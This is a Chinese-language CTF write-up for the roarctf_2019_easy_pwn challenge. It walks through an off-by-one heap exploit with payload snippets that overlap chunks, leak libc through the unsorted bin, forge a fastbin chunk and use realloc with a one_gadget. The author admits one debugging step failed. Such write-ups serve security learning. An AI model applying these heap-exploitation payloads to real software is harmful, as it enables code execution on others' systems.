roarctf_2019_easy_pwn

roarctf_2019_easy_pwn

 没有UAF,但是存在着off-by-one

所以先add(0x18)#chunk0和一个(0x10)#chunk1,add(0x90),add(0x10)

为什么是0x18?因为0x18会开辟一个共0x20的chunk,一开始我也以为是一个0x30的大小,但是

roarctf_2019_easy_pwn

在chunk结构中  0x560df2c462b0 -0x560df2c462b8 这片区域中也会被chunk0使用。这样才能更接近chunk1的size域,对其进行攻击。

所以,根据上面的off_by_one修改chunk1的size(多出的一个字节)

edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))  #34的原因是0x18 + 10 也可以比34要大

 但是这里p64(0x20)。roarctf_2019_easy_pwn

出现了chunk覆盖。这时候free掉,再malloc回来,就可以控制chunk1。但要注意的是,要躲避检查。

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))

 roarctf_2019_easy_pwn

这样,伪造出一个chunk1物理地址紧邻的chunk。

接下来就拿chunk1。

delete(1)
add(0x90)

但由于是alloc,会清空用户数据,所以需要重新恢复。

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

接下来就是上次学习的unsorted bin 泄露libc

delete(2)	
show(1)

拿到main_arena + offset(动态调试后观察到这个offset为88)(我在这里调试失败了,不知道哪里出错了)

因libc的起始位置可能会发生变化,但是libc中的内容之间的相对位置没有变化。

所以要计算出libc实际加载的位置与libc位置的偏移,这也叫程序偏移量。

edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

再伪造一个chunk,为什么是0x71,和之前发的文章是一个道理,这往后的套路基本上就是固定的了。

区别在于这道题需要realloc来调整栈结构,根据不同程序执行到one_gadget时栈环境的不同,需要进行不同数量的push和pop来调整。并且realloc相比于malloc,在检查hook之前,realloc有着大量的push和pop操作,我们只需要将合适的位置放入就可以调整

上一篇:[A]onepunch(tcache stash&&seccomp)


下一篇:使用Gulp实现前端构建自动化